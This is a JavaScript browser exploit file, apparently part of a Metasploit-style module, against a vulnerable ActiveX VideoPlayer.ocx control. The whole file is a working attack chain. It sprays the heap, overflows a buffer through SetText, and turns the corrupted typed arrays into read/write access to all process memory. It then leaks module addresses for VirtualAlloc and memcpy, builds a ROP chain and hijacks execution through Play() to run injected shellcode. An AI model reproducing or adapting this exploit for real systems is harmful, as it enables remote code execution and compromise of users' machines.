126 lines
4.6 KiB
JavaScript
126 lines
4.6 KiB
JavaScript
|
var Exploit = function () {
|
||
|
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||
|
this.obj = document.createElement("object");
|
||
|
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||
|
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||
|
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||
|
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||
|
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||
|
// controlled memcpy
|
||
|
this.whereAddress = 0x1111f010;
|
||
|
this.memory = null;
|
||
|
this.addresses = new Object();
|
||
|
this.sprayer = null;
|
||
|
this.informer = null;
|
||
|
this.sc = "<%=shellcode%>";
|
||
|
};
|
||
|
|
||
|
Exploit.prototype.run = function() {
|
||
|
this.sprayer = new Sprayer();
|
||
|
this.sprayer.spray();
|
||
|
|
||
|
this.memory = this.doCorruption();
|
||
|
|
||
|
//alert(this.memory.length.toString(16))
|
||
|
if (this.memory.length != 0x7fffffff){
|
||
|
//alert("Cannot change Uint32Array length");
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
// now we could even repair the change we did with memcpy ...
|
||
|
|
||
|
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||
|
var leakSuccess = this.leakAddresses();
|
||
|
|
||
|
if (leakSuccess != 0) {
|
||
|
//alert("Cannot leak required address to build the ROP chain");
|
||
|
return leakSuccess;
|
||
|
}
|
||
|
|
||
|
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||
|
ropBuilder.buildRop();
|
||
|
|
||
|
// manipulate object data to gain EIP control with "Play" method
|
||
|
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||
|
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||
|
|
||
|
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||
|
this.obj.Play()
|
||
|
};
|
||
|
|
||
|
Exploit.prototype.prepareOverflow = function() {
|
||
|
// prepare buffer with address we want to write to
|
||
|
var ptrBuf = "";
|
||
|
// fill buffer: length = relative pointer address - buffer start + pointer
|
||
|
// offset
|
||
|
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||
|
ptrBuf += this.dword2str(this.whereAddress);
|
||
|
|
||
|
return ptrBuf;
|
||
|
};
|
||
|
|
||
|
Exploit.prototype.doCorruption = function() {
|
||
|
var ptrBuf = this.prepareOverflow();
|
||
|
|
||
|
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||
|
this.obj.SetText(ptrBuf, 0, 0);
|
||
|
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||
|
|
||
|
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||
|
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||
|
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||
|
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||
|
|
||
|
|
||
|
if (this.sprayer.find() == -1){
|
||
|
//alert("cannot find corrupted Uint32Array");
|
||
|
return -1
|
||
|
}
|
||
|
|
||
|
// modify subsequent Uint32Array to be able to RW all process memory
|
||
|
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||
|
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||
|
|
||
|
// our memory READWRITE interface :)
|
||
|
return this.sprayer.fullMemory;
|
||
|
};
|
||
|
|
||
|
Exploit.prototype.leakAddresses = function() {
|
||
|
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||
|
|
||
|
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||
|
|
||
|
// check if we have the image of VideoPlayer.ocx
|
||
|
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||
|
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||
|
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||
|
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||
|
return -1;
|
||
|
}
|
||
|
//alert(this.addresses['base'].toString(16))
|
||
|
|
||
|
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||
|
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||
|
// memcpy is available inside VideoPlayer.ocx
|
||
|
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||
|
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||
|
|
||
|
scBuf = new Uint8Array(this.sc.length);
|
||
|
for (n=0; n < this.sc.length; n++){
|
||
|
scBuf[n] = this.sc.charCodeAt(n);
|
||
|
}
|
||
|
|
||
|
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||
|
|
||
|
return 0;
|
||
|
};
|
||
|
|
||
|
// dword to little endian string
|
||
|
Exploit.prototype.dword2str = function(dword) {
|
||
|
var str = "";
|
||
|
for (var n=0; n < 4; n++){
|
||
|
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||
|
}
|
||
|
return str;
|
||
|
};
|